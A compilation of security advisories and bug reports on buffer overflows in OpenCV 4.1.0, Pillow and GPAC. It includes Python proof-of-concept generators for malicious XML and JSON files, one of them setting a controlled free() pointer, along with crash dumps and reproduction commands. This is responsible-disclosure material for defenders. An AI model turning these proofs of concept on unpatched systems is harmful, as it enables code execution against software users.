An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV 4.1.0. A specially crafted XML file can cause a buffer overflow, resulting in multiple heap corruptions and potential code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

**Summary**

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV 4.1.0. A specially crafted XML file can cause a buffer overflow, resulting in multiple heap corruptions and potential code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

**Tested Versions**

OpenCV 4.1.0

**Product URLs**

\[https://opencv.org/\] (https://opencv.org/)  
\[https://github.com/opencv/opencv\] (https://github.com/opencv/opencv)

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**Details**

OpenCV was originally developed in 1999 by Intel Research and is currently maintained by the non-profit organization OpenCV.org. OpenCV is used in a myriad of ways, including facial recognition, robotics, motion tracking and various machine learning applications.

This particular vulnerability is present in the “persistence” mode of OpenCV that allows a developer to write and retrieve OpenCV data structures to/from a file on disk. The file type can be XML, YAML or JSON.

During parsing of a XML file containing a potential character entity reference, when the ampersand is encountered, the API will continue to digest alphanumeric characters until a semicolon is encountered. If the string does not match one of the strings in the switch statement, the data is instead copied to a buffer as is.

In `persistence_xml.cpp`, we can see the definition of the buffer that will be overflowed which resides within a FileStorageParser class on the heap.

    char strbuf[CV_FS_MAX_LEN+16];
    

Where `persistence.hpp` defines `CV_FS_MAX_LEN` as:

    44  #define CV_FS_MAX_LEN 4096
    

Therefore, our buffer size is 0x1010 (4112) bytes in length. The overflow occurs during the following parsing routine within `persistence_xml.cpp`:

    583                             else if( c == '&' )
    584                             {
    585                                 if( *++ptr == '#' )
    586                                 {
    587                                     int val, base = 10;
    588                                     ptr++;
    589                                     if( *ptr == 'x' )
    590                                     {
    591                                         base = 16;
    592                                         ptr++;
    593                                     }
    594                                     val = (int)strtol( ptr, &endptr, base );
    595                                     if( (unsigned)val > (unsigned)255 ||
    596                                        !endptr || *endptr != ';' )
    597                                         CV_PARSE_ERROR_CPP( "Invalid numeric value in the string" );
    598                                     c = (char)val;
    599                                 }
    600                                 else
    601                                 {
    602                                     endptr = ptr;
    603                                     do c = *++endptr;
    604                                     while( cv_isalnum(c) );
    605                                     if( c != ';' )
    606                                         CV_PARSE_ERROR_CPP( "Invalid character in the symbol entity name" );
    607                                     len = (int)(endptr - ptr);
    608                                     if( len == 2 && memcmp( ptr, "lt", len ) == 0 )
    609                                         c = '<';
    610                                     else if( len == 2 && memcmp( ptr, "gt", len ) == 0 )
    611                                         c = '>';
    612                                     else if( len == 3 && memcmp( ptr, "amp", len ) == 0 )
    613                                         c = '&';
    614                                     else if( len == 4 && memcmp( ptr, "apos", len ) == 0 )
    615                                         c = '\'';
    616                                     else if( len == 4 && memcmp( ptr, "quot", len ) == 0 )
    617                                         c = '\"';
    618                                     else
    619                                     {
    620                                         memcpy( strbuf + i, ptr-1, len + 2 );
    621                                         i += len + 2;
    622                                     }
    623                                 }
    

The overflow occurs at line 620. It happens because the buffer is a fixed size, but the size for the memcpy is calculated as the length of the entire XML entity value (line 596) without checking if it extends beyond the target buffer.

**Crash Information**

We can see the vulnerable memcpy operation occur here:

    0x41f71f    call   memcpy@plt <0x406470>
        dest: 0x91c380 ◂— 0x676e69727400
        src: 0x911e15 ◂— 0x4242424242422026 ('& BBBBBB')
        n: 0x2c83
    

If the buffer size is only 0x1010 (4112) bytes, and the memcpy size (the entire value of one of the entity reference string) is 0x2c83 (11395) bytes, there will be an overflow into subsequent heap objects, leading to potential code execution.

The destination buffer is located within the ‘FileStorageParser\` object itself:

    type = class cv::XMLParser : public cv::FileStorageParser {
      public:
        cv::FileStorage_API *fs;
        char strbuf[4112];
    
        XMLParser(cv::FileStorage_API *);
        virtual ~XMLParser(void);
        char * skipSpaces(char *, int);
        virtual bool getBase64Row(char *, int, char *&, char *&);
        char * parseValue(char *, cv::FileNode &);
        char * parseTag(char *, std::__cxx11::string &, std::__cxx11::string &, int &);
        virtual bool parse(char *);
    } *
    

In this particular case, the heap object for this instance is located at 0x91c350. The buffer is located at 0x91c380.

    Heap chunk: 0x91c358 (malloc address)
    Heap chunk header: 0x91c350
                 Size: 0x1040 (4160)
             Size+Hdr: 0x1050 (4176)
               Status: in USE
      Prev size field: 0x0 (0)
             Raw Size: 0x1041 (4161)
                Flags: PREV_INUSE
    
     000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
     000000000091c350: 00 00 00 00 00 00 00 00  41 10 00 00 00 00 00 00 ........A.......
     000000000091c360: 48 3f 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 H?..............
     000000000091c370: 98 3f 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .?......`.......
                                             ....
     000000000091d380: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
     000000000091d390: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
    

The next object in the heap is located at 0x91d390 which is exactly 0x1040 (4160) bytes away:

    Heap chunk: 0x91d398 (malloc address)
    Heap chunk header: 0x91d390
                 Size: 0x20 (32)
             Size+Hdr: 0x30 (48)
               Status: in USE
      Prev size field: 0x0 (0)
             Raw Size: 0x21 (33)
                Flags: PREV_INUSE
    
     000000000091d380: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
     000000000091d390: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
                                             ....
     000000000091d3a0: 00 73 74 72 69 6e 67 73  00 00 00 00 00 00 00 00 .strings........
     000000000091d3b0: 00 00 00 00 00 00 00 00  51 1c 00 00 00 00 00 00 ........Q.......
    

Here are the objects after the memcpy() operation:

    Heap chunk: 0x91c358 (malloc address)
    Heap chunk header: 0x91c350
                 Size: 0x1040 (4160)
             Size+Hdr: 0x1050 (4176)
               Status: is FREE
                   FD: 0x8e3f48
                   BK: 0x100000001
      Prev size field: 0x0 (0)
             Raw Size: 0x1041 (4161)
                Flags: PREV_INUSE
    
     000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
     000000000091c350: 00 00 00 00 00 00 00 00  41 10 00 00 00 00 00 00 ........A.......
     000000000091c360: 48 3f 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 H?..............
     000000000091c370: 98 3f 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .?......`.......
                                             ....
     000000000091d380: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
     000000000091d390: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
    

The heap object at 0x91d390 has clearly been corrupted.

    0x91d390:	0x4242424242424242	0x4242424242424242
    0x91d3a0:	0x4242424242424242	0x4242424242424242
    0x91d3b0:	0x4242424242424242	0x4242424242424242
    0x91d3c0:	0x4242424242424242	0x4242424242424242
    0x91d3d0:	0x4242424242424242	0x4242424242424242
    0x91d3e0:	0x4242424242424242	0x4242424242424242
    0x91d3f0:	0x4242424242424242	0x4242424242424242
    0x91d400:	0x4242424242424242	0x4242424242424242
    

The heap segment extends from 0x8f9000 to 0x91f000 (in this instance). This specific variant of the attack will trigger an access violation because an attempt to copy data beyond the heap segment will occur.

    0x8f9000           0x91f000 rw-p    26000 0      [heap]
    
    
    Program received signal SIGSEGV, Segmentation fault.
    __memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:481
    481		VMOVU	%VEC(8), (%r11)
    

**Exploit Proof of Concept**

Generate a malicious XML file:

    #!/usr/bin/env python
    from struct import pack
    
    poc = b'<?xml version="1.0"?><opencv_storage><strings>'
    poc += b'string'
    poc += b' & '
    poc += b'B' * 0x2c80
    
    # Required
    poc += b';'
    poc += b'</strings>'
    with open("poc.xml", "wb") as f:
        f.write(poc)
    f.close()
    

Compile the harness to load the file:

    #include "opencv2/core.hpp"
    /*
     * harness.cpp
     * g++ -I/usr/include/opencv4/ harness.cpp -o harness -l opencv_core
     */
    
    int main(int argc, char** argv) {
        cv::FileStorage fs2(argv[1], cv::FileStorage::READ);
        fs2.release();
        return 0;
    }
    

Execution: $ ./harness poc.xml \[1\] 24290 segmentation fault (core dumped) ./harness poc.xml

**Timeline**

2019-07-22 - Initial contact  
2019-07-30 - Plain text report issued  
2019-10-02 - 60+ day follow up  
2019-10-21 - 90 day follow up  
2019-11-13 - Vendor confirmed fix planned for December 2019 release  
2019-12-12 - Talos granted extension to public disclosure deadline  
2019-12-19 - Vendor patched  
2020-01-02 - Public Release

Discovered by Dave McDaniel of Cisco Talos.

CVE-2019-5063: TALOS-2019-0852 || Cisco Talos Intelligence Group

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, before version 4.2.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

**Summary**

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

**Tested Versions**

OpenCV 4.1.0

**Product URLs**

\[https://opencv.org/\] (https://opencv.org/)  
\[https://github.com/opencv/opencv\] (https://github.com/opencv/opencv)

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**Details**

OpenCV was originally developed in 1999 by Intel Research and is currently maintained by the non-profit organization OpenCV.org. OpenCV is used in a myriad of ways including facial recognition, robotics, motion tracking and various machine learning applications.

This particular vulnerability is present in the “persistence” mode of OpenCV which allows a developer to write and retrieve OpenCV data structures to/from a file on disk. The file type can be XML, YAML or JSON.

During parsing of a JSON file, when a null byte is encountered, the entire value up to that point is copied into a buffer. However, there isn’t a check to determine whether the JSON value will overflow the destination buffer.

In `persistence_json.cpp`, we can see the definition of the buffer that will be overflowed which resides within a FileStorageParser class on the heap.

    847     char buf[CV_FS_MAX_LEN+1024];
    

Where `persistence.hpp` defines `CV_FS_MAX_LEN` as:

    44  #define CV_FS_MAX_LEN 4096
    

Therefore, our buffer size is 0x1400 (5120) bytes in length. The overflow occurs during the following parsing routine within `persistence_json.cpp`:

    565                     switch ( *ptr )
    566                     {
    567                         case '\\':
    568                         {
    569                             sz = (int)(ptr - beg);
    570                             if( sz > 0 )
    571                             {
    572                                 memcpy(buf + i, beg, sz);
    573                                 i += sz;
    574                             }
    575                             ptr++;
    576                             switch ( *ptr )
    577                             {
    578                             case '\\':
    579                             case '\"':
    580                             case '\'': { buf[i++] = *ptr; break; }
    581                             case 'n' : { buf[i++] = '\n'; break; }
    582                             case 'r' : { buf[i++] = '\r'; break; }
    583                             case 't' : { buf[i++] = '\t'; break; }
    584                             case 'b' : { buf[i++] = '\b'; break; }
    585                             case 'f' : { buf[i++] = '\f'; break; }
    586                             case 'u' : { CV_PARSE_ERROR_CPP( "'\\uXXXX' currently not supported" ); break; }
    587                             default  : { CV_PARSE_ERROR_CPP( "Invalid escape character" ); }
    588                             break;
    589                             }
    590                             ptr++;
    591                             beg = ptr;
    592                             break;
    593                         }
    594                         case '\0':
    595                         {
    596                             sz = (int)(ptr - beg);
    597                             if( sz > 0 )
    598                             {
    599                                 memcpy(buf + i, beg, sz); [0]
    600                                 i += sz;
    601                             }
    602                             ptr = fs->gets();
    603                             if ( !ptr || !*ptr )
    604                                 CV_PARSE_ERROR_CPP( "'\"' - right-quote of string is missing" );
    605
    606                             beg = ptr;
    607                             break;
    608                         }
    

The overflow occurs at line 599. It happens because the buffer is a fixed size, but the size for the memcpy is calculated as the size of the entire JSON value field (line 596) without checking if it extends beyond the target buffer.

**Crash Information**

We can see the vulnerable memcpy operation occur here:

    0x417999    call   memcpy@plt <0x406470>
        dest: 0x91c380 ◂— 0x42 /* 'B' */
        src: 0x911dee ◂— 0x4242424242424242 ('BBBBBBBB')
        n: 0x1460
    

If the buffer size is only 5120 (0x1400) bytes and the memcpy size (the entire value of one of the json pairs) is 0x1460 bytes, it will cause an overflow into subsequent heap objects, leading to potential code execution.

The destination buffer is located within the ‘FileStorageParser\` object itself:

    type = class cv::JSONParser : public cv::FileStorageParser {
      public:
        cv::FileStorage_API *fs;
        char buf[5120];
    
        JSONParser(cv::FileStorage_API *);
        virtual ~JSONParser(void);
        char * skipSpaces(char *);
        char * parseKey(char *, cv::FileNode &, cv::FileNode &);
        virtual bool getBase64Row(char *, int, char *&, char *&);
        char * parseValue(char *, cv::FileNode &);
        char * parseSeq(char *, cv::FileNode &);
        char * parseMap(char *, cv::FileNode &);
        virtual bool parse(char *);
    } *
    

In this particular case, the heap object for this instance is located at 0x91c350. The buffer is located at 0x91c380.

     Heap chunk: 0x91c358 (malloc address)
     Heap chunk header: 0x91c350
                  Size: 0x1430 (5168)
              Size+Hdr: 0x1440 (5184)
                Status: in USE
       Prev size field: 0x0 (0)
              Raw Size: 0x1431 (5169)
                 Flags: PREV_INUSE
    
      000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
      000000000091c350: 00 00 00 00 00 00 00 00  31 14 00 00 00 00 00 00 ........1.......
      000000000091c360: c8 3d 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 .=..............
      000000000091c370: 18 3e 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .>......`.......
                                              ....
      000000000091d770: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
      000000000091d780: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
    

The next object in the heap is located at 0x91d780 which is exactly 0x1400 (5120) bytes away:

    Heap chunk: 0x91d788 (malloc address)
    Heap chunk header: 0x91d780
                 Size: 0x20 (32)
             Size+Hdr: 0x30 (48)
               Status: in USE
      Prev size field: 0x0 (0)
             Raw Size: 0x21 (33)
                Flags: PREV_INUSE
    
     000000000091d770: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
     000000000091d780: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
                                             ....
     000000000091d790: 00 00 00 00 00 00 00 00  10 e0 8f 00 00 00 00 00 ................
     000000000091d7a0: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
    

Here are the objects after the memcpy() operation:

     Heap chunk: 0x91c358 (malloc address)
     Heap chunk header: 0x91c350
                  Size: 0x1430 (5168)
              Size+Hdr: 0x1440 (5184)
                Status: is FREE
                    FD: 0x8e3dc8
                    BK: 0x100000001
       Prev size field: 0x0 (0)
              Raw Size: 0x1431 (5169)
                 Flags: PREV_INUSE
    
      000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
      000000000091c350: 00 00 00 00 00 00 00 00  31 14 00 00 00 00 00 00 ........1.......
      000000000091c360: c8 3d 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 .=..............
      000000000091c370: 18 3e 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .>......`.......
                                              ....
      000000000091d770: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
      000000000091d780: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
    

The heap object at 0x91d780 has clearly been corrupted.

    0x91d780:	0x4242424242424242	0x4242424242424242
    0x91d790:	0x4242424242424242	0x4242424242424242
    0x91d7a0:	0x4242424242424242	0x4242424242424242
    0x91d7b0:	0x4242424242424242	0x4242424242424242
    0x91d7c0:	0x4242424242424242	0x4242424242424242
    0x91d7d0:	0x4242424242424242	0x4141414141414141
    

This specific variant of the attack will trigger an arbitrary free() if we continue to let it run.

    Program received signal SIGSEGV, Segmentation fault.
    __GI___libc_free (mem=0x4141414141414141) at malloc.c:3109
    3109	  p = mem2chunk (mem);
    

**Exploit Proof of Concept**

Generate a malicious JSON file:

    #!/usr/bin/env python
    from struct import pack
    # Create 2 objects -- overflow using the second object's value
    poc = b'{"A":"B","X":"'
    # Overflow bytes
    poc += b'B' * 0x1458
    # Address that will be free'd
    poc += pack('Q', 0x4141414141414141)
    with open("poc.json", "wb") as f:
        f.write(poc)
    f.close()
    

Compile the harness to load the file:

    #include "opencv2/core.hpp"
    /*
     * harness.cpp
     * g++ -I/usr/include/opencv4/ harness.cpp -o harness -l opencv_core
     */
    
    int main(int argc, char** argv) {
        cv::FileStorage fs2(argv[1], cv::FileStorage::READ);
        fs2.release();
        return 0;
    }
    

Execution: $ ./harness poc.json \[1\] 19146 segmentation fault (core dumped) ./harness poc.json

**Timeline**

2019-07-22 - Initial contact  
2019-07-30 - Plain text report issued  
2019-10-02 - 60+ day follow up  
2019-10-21 - 90 day follow up  
2019-11-13 - Vendor confirmed fix planned for December 2019 release  
2019-12-12 - Talos granted extension to public disclosure deadline  
2019-12-19 - Vendor patched  
2020-01-02 - Public Release

Discovered by Dave McDaniel of Cisco Talos.

CVE-2019-5064: TALOS-2019-0853 || Cisco Talos Intelligence Group

libImaging/FliDecode.c in Pillow before 6.2.2 has an FLI buffer overflow.

@@ -40,8 +40,7 @@ ImagingFliDecode(Imaging im, ImagingCodecState state, UINT8\* buf, Py\_ssize\_t byt return 0;  
/\* We don't decode anything unless we have a full chunk in the input buffer (on the other hand, the Python part of the driver makes sure this is always the case) \*/ input buffer \*/  
ptr = buf;  
@@ -52,6 +51,10 @@ ImagingFliDecode(Imaging im, ImagingCodecState state, UINT8\* buf, Py\_ssize\_t byt /\* Make sure this is a frame chunk. The Python driver takes case of other chunk types. \*/  
if (bytes < 8) { state->errcode = IMAGING\_CODEC\_OVERRUN; return -1; } if (I16(ptr+4) != 0xF1FA) { state->errcode = IMAGING\_CODEC\_UNKNOWN; return -1;

CVE-2020-5313: Catch FLI buffer overrun · python-pillow/Pillow@a09acd0

dimC_Read in isomedia/box_code_3gpp.c in GPAC 0.8.0 has a stack-based buffer overflow.

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

A crafted input will lead to crash in box\_code\_3gpp.c at gpac 0.8.0.

    ./MP4Box -diso 011-stack-dimC_Read1000 -out /dev/null 
    =================================================================
    ==3045==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff6e0d88d0 at pc 0x564b9b2d69fb bp 0x7fff6e0d8480 sp 0x7fff6e0d8470
    WRITE of size 1 at 0x7fff6e0d88d0 thread T0
        #0 0x564b9b2d69fa in dimC_Read isomedia/box_code_3gpp.c:1000
        #1 0x564b9ae5bb35 in gf_isom_box_read isomedia/box_funcs.c:1528
        #2 0x564b9ae5bb35 in gf_isom_box_parse_ex isomedia/box_funcs.c:208
        #3 0x564b9ae5c1e4 in gf_isom_parse_root_box isomedia/box_funcs.c:42
        #4 0x564b9ae72f44 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:206
        #5 0x564b9ae75bca in gf_isom_open_file isomedia/isom_intern.c:615
        #6 0x564b9abbe852 in mp4boxMain /home/liuz/gpac-master/applications/mp4box/main.c:4767
        #7 0x7f4b5d817b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
        #8 0x564b9abafb19 in _start (/usr/local/gpac-asan3/bin/MP4Box+0x163b19)
    
    Address 0x7fff6e0d88d0 is located in stack of thread T0 at offset 1056 in frame
        #0 0x564b9b2d641f in dimC_Read isomedia/box_code_3gpp.c:983
    
      This frame has 1 object(s):
        [32, 1056) 'str' <== Memory access at offset 1056 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow isomedia/box_code_3gpp.c:1000 in dimC_Read
    Shadow bytes around the buggy address:
      0x10006dc130c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc130d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc130e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc130f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc13100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x10006dc13110: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 00 00
      0x10006dc13120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc13130: 00 00 00 00 f1 f1 f1 f1 00 00 f2 f2 00 00 00 00
      0x10006dc13140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc13150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10006dc13160: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 04 f2
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==3045==ABORTING

CVE-2019-20208: There is a stack-buffer-overflow in the dimC_Read function of box_code_3gpp.c:1000 · Issue #1348 · gpac/gpac

An issue was discovered in GPAC version 0.8.0 and 0.9.0-development-20191109. There is heap-based buffer overflow in the function ReadGF_IPMPX_WatermarkingInit() in odf/ipmpx_code.c.

System info:  
Ubuntu 16.04.6 LTS, X64, gcc 5.4.0, gpac (master 6ada10e)  
Compile Command:

    $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box
    $ make
    

Run Command:

    $ MP4Box -diso -out /dev/null $POC-ReadGF_IPMPX_WatermarkingInit
    

POC file:  
https://github.com/Clingto/POC/blob/master/gpac-MP4Box/POC-ReadGF\_IPMPX\_WatermarkingInit  
ASAN info:

\==26293\==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efb1 at pc 0x7ffff6ef6904 bp 0x7fffffff7e90 sp 0x7fffffff7638
WRITE of size 40 at 0x60200000efb1 thread T0
    #0 0x7ffff6ef6903 in \_\_asan\_memcpy (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x4709b5 in memcpy /usr/include/x86\_64-linux-gnu/bits/string3.h:53
    #2 0x4709b5 in gf\_bs\_read\_data utils/bitstream.c:461
    #3 0x7bc40d in ReadGF\_IPMPX\_WatermarkingInit odf/ipmpx\_code.c:1517
    #4 0x7bc40d in GF\_IPMPX\_ReadData odf/ipmpx\_code.c:2020
    #5 0x7beab7 in gf\_ipmpx\_data\_parse odf/ipmpx\_code.c:293
    #6 0x7a97c9 in gf\_odf\_read\_ipmp odf/odf\_code.c:2426
    #7 0x795b43 in gf\_odf\_parse\_descriptor odf/descriptors.c:159
    #8 0x7afa76 in gf\_odf\_desc\_read odf/odf\_codec.c:302
    #9 0xad3e13 in esds\_Read isomedia/box\_code\_base.c:1256
    #10 0x6c5114 in gf\_isom\_box\_read isomedia/box\_funcs.c:1528
    #11 0x6c5114 in gf\_isom\_box\_parse\_ex isomedia/box\_funcs.c:208
    #12 0x6c5974 in gf\_isom\_parse\_root\_box isomedia/box\_funcs.c:42
    #13 0x6da6a0 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:206
    #14 0x6dd2f3 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:194
    #15 0x6dd2f3 in gf\_isom\_open\_file isomedia/isom\_intern.c:615
    #16 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build\_asan/applications/mp4box/main.c:4767
    #17 0x7ffff638082f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #18 0x41e228 in \_start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin\_asan/bin/MP4Box+0x41e228)

0x60200000efb1 is located 0 bytes to the right of 1-byte region \[0x60200000efb0,0x60200000efb1)
allocated by thread T0 here:
    #0 0x7ffff6f02602 in malloc (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x7bc3bf in ReadGF\_IPMPX\_WatermarkingInit odf/ipmpx\_code.c:1516
    #2 0x7bc3bf in GF\_IPMPX\_ReadData odf/ipmpx\_code.c:2020

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 \_\_asan\_memcpy
Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa\[01\]fa fa fa 00 00 fa fa 00 00
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==26293==ABORTING

gdb info:

7ffff70cd000-7ffff72cc000 ---p 00016000 08:02 67633677                   /lib/x86\_64-linux-gnu/libgcc\_s.so.1
7ffff72cc000-7ffff72cd000 rw-p 00015000 08:02 67633677                   /lib/x86\_64-linux-gnu/libgcc\_s.so.1
7ffff72cd000-7ffff748d000 r-xp 00000000 08:02 67637542                   /lib/x86\_64-linux-gnu/libc-2.23.so
7ffff748d000-7ffff768d000 ---p 001c0000 08:02 67637542                   /lib/x86\_64-linux-gnu/libc-2.23.so
7ffff768d000-7ffff7691000 r--p 001c0000 08:02 67637542                   /lib/x86\_64-linux-gnu/libc-2.23.so
7ffff7691000-7ffff7693000 rw-p 001c4000 08:02 67637542                   /lib/x86\_64-linux-gnu/libc-2.23.so
7ffff7693000-7ffff7697000 rw-p 00000000 00:00 0
7ffff7697000-7ffff76b0000 r-xp 00000000 08:02 67633774                   /lib/x86\_64-linux-gnu/libz.so.1.2.8
7ffff76b0000-7ffff78af000 ---p 00019000 08:02 67633774                   /lib/x86\_64-linux-gnu/libz.so.1.2.8
7ffff78af000-7ffff78b0000 r--p 00018000 08:02 67633774                   /lib/x86\_64-linux-gnu/libz.so.1.2.8
7ffff78b0000-7ffff78b1000 rw-p 00019000 08:02 67633774                   /lib/x86\_64-linux-gnu/libz.so.1.2.8
7ffff78b1000-7ffff79b9000 r-xp 00000000 08:02 67637545                   /lib/x86\_64-linux-gnu/libm-2.23.so
7ffff79b9000-7ffff7bb8000 ---p 00108000 08:02 67637545                   /lib/x86\_64-linux-gnu/libm-2.23.so
7ffff7bb8000-7ffff7bb9000 r--p 00107000 08:02 67637545                   /lib/x86\_64-linux-gnu/libm-2.23.so
7ffff7bb9000-7ffff7bba000 rw-p 00108000 08:02 67637545                   /lib/x86\_64-linux-gnu/libm-2.23.so
7ffff7bba000-7ffff7bd2000 r-xp 00000000 08:02 67637529                   /lib/x86\_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 08:02 67637529                   /lib/x86\_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 08:02 67637529                   /lib/x86\_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 08:02 67637529                   /lib/x86\_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:02 67637528                   /lib/x86\_64-linux-gnu/ld-2.23.so
7ffff7fe3000-7ffff7fe8000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ff8000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          \[vvar\]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          \[vdso\]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:02 67637528                   /lib/x86\_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:02 67637528                   /lib/x86\_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          \[stack\]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  \[vsyscall\]

Program received signal SIGABRT, Aborted.
0x00007ffff7302428 in \_\_GI\_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
